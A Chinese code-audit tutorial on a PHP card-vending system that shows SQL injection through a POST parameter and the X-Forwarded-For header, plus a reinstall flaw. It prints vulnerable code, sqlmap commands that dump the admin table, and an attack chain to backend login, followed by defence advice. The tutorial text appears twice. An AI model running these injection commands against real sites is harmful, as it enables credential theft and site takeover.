对自助提卡系统的一次代码审计
字数 1066 2025-08-18 11:37:28

自助提卡系统代码审计与漏洞利用教学文档

1. 系统概述

本教学文档基于对一款PHP+MySQL开发的自助提卡系统的代码审计结果。该系统主要用于24小时自动售卡平台,常见于违法网站用于提卡密或购买邀请码。

2. 审计环境

  • 源码类型:开源PHP自助提卡系统
  • 数据库:MySQL
  • 主要漏洞类型:
    • Forwarded-For注入
    • 重装漏洞
    • SQL注入

3. 漏洞分析

3.1 重装漏洞

文件路径:install/index.php

漏洞代码

// 判断是否存在lock文件并且step不等于5的情况下执行判断语句中的代码
if(条件满足) {
    header("Location: install/index.php");
    // 缺少exit语句
}

漏洞原理

  • 程序在安装完成后会在install目录下生成lock文件
  • 检查安装状态时仅通过header跳转,未使用exit终止后续代码执行
  • 攻击者可删除lock文件重新安装系统

3.2 SQL注入漏洞(API接口)

文件路径:api.php

漏洞代码

if(isset($_POST["dh"]) && !empty($_POST["dh"])) {
    $sql = "SELECT * FROM xxx WHERE dh='".$_POST["dh"]."'";
    // 直接拼接用户输入到SQL语句
}

利用方法

python sqlmap.py -u "http://target/index.php" --batch --dbms="mysql" --data="dh=a"

3.3 Forwarded-For注入漏洞

核心文件:pay/pay.php

3.3.1 漏洞代码分析

IP获取函数

function getip() {
    if(getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip; // 未做任何过滤
}

SQL拼接点

// 删除操作时
if($_GET["type"] == "delete") {
    $sql = "SELECT * FROM xxx WHERE ip='".getip()."'";
    // 直接拼接未过滤的IP到SQL语句
}

// 支付操作时
$sql = "INSERT INTO xxx (ip) VALUES ('".getip()."')";

3.3.2 漏洞利用条件

需要构造以下GET参数:

type=zfb&money=1&title=adssad&pwd=123&spid=1

3.3.3 利用方法

  1. 使用Burp Suite抓包,修改X-Forwarded-For头为注入payload
  2. 保存请求为文本文件(test.txt)
  3. 使用SQLMap进行自动化注入:
python sqlmap.py -r test.txt --batch --dbms="mysql"
python sqlmap.py -r test.txt --batch -D 数据库名 --tables
python sqlmap.py -r test.txt --batch -D 数据库名 -T admin --dump

优势

  • 绕过WAF:许多WAF不会检测header参数
  • 高成功率:系统完全信任客户端提供的IP头信息

4. 完整攻击链演示

  1. 信息收集

    • 确认系统版本是否为易受攻击版本
    • 检查/install/目录是否存在
  2. 利用Forwarded-For注入

    • 访问支付页面:http://target/pay/index.php?type=zfb&money=1&title=adssad&pwd=123&spid=1
    • 拦截请求并修改X-Forwarded-For头
  3. 数据库枚举

    • 获取数据库名
    • 枚举表名(重点关注admin表)
    • 导出管理员凭证
  4. 后台登录

    • 访问默认后台:http://target/admin.php
    • 使用获取的凭证登录

5. 防御建议

  1. 输入过滤

    • 对HTTP头信息进行严格过滤
    • 使用预编译语句或参数化查询
  2. 安装防护

    • 安装完成后自动删除install目录
    • 在跳转后添加exit语句
  3. 权限控制

    • 数据库使用最小权限原则
    • 后台地址可配置化,不使用固定路径
  4. 日志监控

    • 记录异常IP头访问
    • 监控SQL错误日志

6. 法律声明

本文所述技术仅限用于合法安全测试与研究,未经授权对他人系统进行测试属于违法行为,后果自负。

自助提卡系统代码审计与漏洞利用教学文档 1. 系统概述 本教学文档基于对一款PHP+MySQL开发的自助提卡系统的代码审计结果。该系统主要用于24小时自动售卡平台,常见于违法网站用于提卡密或购买邀请码。 2. 审计环境 源码类型:开源PHP自助提卡系统 数据库:MySQL 主要漏洞类型: Forwarded-For注入 重装漏洞 SQL注入 3. 漏洞分析 3.1 重装漏洞 文件路径 :install/index.php 漏洞代码 : 漏洞原理 : 程序在安装完成后会在install目录下生成lock文件 检查安装状态时仅通过header跳转,未使用exit终止后续代码执行 攻击者可删除lock文件重新安装系统 3.2 SQL注入漏洞(API接口) 文件路径 :api.php 漏洞代码 : 利用方法 : 3.3 Forwarded-For注入漏洞 核心文件 :pay/pay.php 3.3.1 漏洞代码分析 IP获取函数 : SQL拼接点 : 3.3.2 漏洞利用条件 需要构造以下GET参数: 3.3.3 利用方法 使用Burp Suite抓包,修改X-Forwarded-For头为注入payload 保存请求为文本文件(test.txt) 使用SQLMap进行自动化注入: 优势 : 绕过WAF:许多WAF不会检测header参数 高成功率:系统完全信任客户端提供的IP头信息 4. 完整攻击链演示 信息收集 : 确认系统版本是否为易受攻击版本 检查 /install/ 目录是否存在 利用Forwarded-For注入 : 访问支付页面: http://target/pay/index.php?type=zfb&money=1&title=adssad&pwd=123&spid=1 拦截请求并修改X-Forwarded-For头 数据库枚举 : 获取数据库名 枚举表名(重点关注admin表) 导出管理员凭证 后台登录 : 访问默认后台: http://target/admin.php 使用获取的凭证登录 5. 防御建议 输入过滤 : 对HTTP头信息进行严格过滤 使用预编译语句或参数化查询 安装防护 : 安装完成后自动删除install目录 在跳转后添加exit语句 权限控制 : 数据库使用最小权限原则 后台地址可配置化,不使用固定路径 日志监控 : 记录异常IP头访问 监控SQL错误日志 6. 法律声明 本文所述技术仅限用于合法安全测试与研究,未经授权对他人系统进行测试属于违法行为,后果自负。